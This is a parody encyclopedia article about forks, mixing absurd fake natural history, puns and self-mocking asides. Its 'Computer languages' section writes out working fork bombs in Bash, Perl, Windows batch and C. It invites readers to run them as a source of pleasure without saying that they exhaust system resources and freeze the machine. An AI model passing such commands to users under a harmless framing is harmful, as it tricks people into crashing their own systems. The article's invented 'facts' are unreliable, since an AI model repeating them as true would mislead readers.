[edit] Weapon of mass destruction?
Some would say that the fork is the source of pure evil it's self, others believe early versions where fashioned out of depleted uranium in the depths of hell. Supposly George bush brought forks and delivered them to third-world countries to reek havoc on their inhabitants.

[edit] The Origin of Forks
Primitive iron forks first appeared in the early Mesozoic era 200,000,000 years ago, and had since diversified into millions of species, some of which were so large that they scared dinosaurs. At the end of the Cretaceous period, a world-wide flood wiped out the vast majority of forks. The remote descendants of the smallest surviving forks have since occupied and adapted to environmental niches within the post-modern culinary industry.
[edit] The Taming of the Wild Fork
The wild fork was first tamed in 1861 by the famous rodeo star Buffalo Bob. Okay, this is getting patently absurd now. Buffalo Bob did not tame the wild fork; that's just plain silly. The writer of this Uncyclopedia article has clearly gone off the deep end this time, and the glass of beer he had about half an hour ago isn't helping things one bit. Yes, the writer is clearly making things up ex nihilo, but that is what happens when the writer's feeble brain has suffered from the exertion of grinding out several dozen pointless Uncyclopedia articles over a two-month period. Hell, to any readers who have managed to get even this far, the writer freely admits that he doesn't even bother to use forks anymore, except to scratch his back and (occasionally) groom his armpit hair, seeing that he lives alone and has no other life to speak of... ooops... I will mercifully stop here, now.
[edit] Fork Handles
Fork handles are widely know for their trickiness, for instance when trying to purchase fork handles you are 76.89% more likely to be sold four candles instead of the fork handles that you asked for.
This can lead to many problems, especially at dinner time, and in the homes of those who are either allergic to or extremely afraid of wax (see waxaphobia).
It is generally agreed upon by archaeologists that the problem can be solved by asking for handles for forks instead of fork handles.

[edit] Computer languages
"Forking", as in "having a good fork" is easily obtainable ecstasy with computer languages, to "get some" all you have to do are these commands:
- Using the BASH shell run this command:
:(){ :|:& };:
- Using perl you can get all that goodness by running this:
perl -e "fork while fork" &
- Even those stupid enough to be using Microsoft Windows can get some of the sticky-gooey goodness but they have to run a batch file:
:s start %0 goto s
- If you are a sado-masochist then you could even manage it in C...
#include <unistd.h>
#define for main(){ for
#define _($) write(1,main,666 );}
for(;;){
fork();
_( sake )
}
- The LifeSupa in LifeScript has no idea what FORK is. They made commands:
------FORK
_____|_____LIVE
| HEAL
------CUBE
[edit] Computer Projects
What happens when you come across a good idea? You can use it, you can make a make a better version or you can fsck is up completely. Forks can make things better (Xorg) but invariably they mostly all end up utter shite (Zynot, C#, XEmacs).
[edit] Swearing?
Some people use "fork" as the acceptable way of saying "fsck". Fsck as everyone knows is a disgusting word and wont be tolerated on clean filesystems.
